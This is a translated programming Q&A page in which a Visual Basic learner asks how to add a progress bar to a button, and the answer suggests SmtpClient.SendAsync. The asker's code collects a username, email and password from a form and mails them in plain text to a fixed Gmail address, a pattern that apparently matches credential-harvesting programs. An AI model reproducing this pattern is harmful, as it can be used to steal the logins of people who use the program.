2013-12-12 49 views
0

我正在Visual Basic中创建一个程序,我需要一个按钮来激活进度条,并在进度条完成时显示一条消息。Visual Basic按钮和进度条建议

一个问题,我已经在我的按钮中有代码,所以当点击按钮时,进度条在进入后会稍微停下来。

当进度条完成时,我也有一个问题我有一个消息显示,以及它显示的消息是垃圾邮件,直到程序崩溃。

如果我能得到如何做到这两个这将是伟大的帮助!

这里是按钮的代码

If TextBox1.Text = "" Then 
    MsgBox("Username Is Missing") 
    Exit Sub 
Else 
End If 
If TextBox2.Text = "" Then 
    MsgBox("Email Is Mising") 
    Exit Sub 
Else 
End If 
If TextBox3.Text = "" Then 
    MsgBox("Password Is Mising") 
    Exit Sub 
Else 
End If 
Dim smtpServer As New SmtpClient() 
Dim mail As New MailMessage() 
smtpServer.Credentials = New Net.NetworkCredential("email", "email pw) 
'using gmail 
smtpServer.Port = 587 
smtpServer.Host = "smtp.gmail.com" 
smtpServer.EnableSsl = True 
mail = New MailMessage() 
mail.From = New MailAddress("email") 
mail.To.Add("email") 
mail.Subject = "Username: " & TextBox1.Text 
mail.Body = "Username : " & TextBox1.Text & ", " & "Email: " & TextBox2.Text & ", " & "Passoword: " & TextBox3.Text 
smtpServer.Send(mail) 

我没有进度条代码,因为我要重新启动就可以了。

+0

请提供导致该问题的代码。 – fuesika

+0

我用代码更新了问题。 – Coder11

回答

0

基本上你需要的是显示按钮点击进度条并隐藏它,一个电子邮件发送。

所以最简单的方法是使用SmtpClient SendAsync方法,而不是Send(它阻止GUI /没有响应,直到电子邮件发送完成)。 SendAsync具有回调方法SendCompleted,您可以附加该回调方法来隐藏进度栏并显示消息框。

看到这个MSDN文档SendAsync http://msdn.microsoft.com/en-us/library/system.net.mail.smtpclient.sendcompleted(v=vs.110).aspx?cs-save-lang=1&cs-lang=vb#code-snippet-2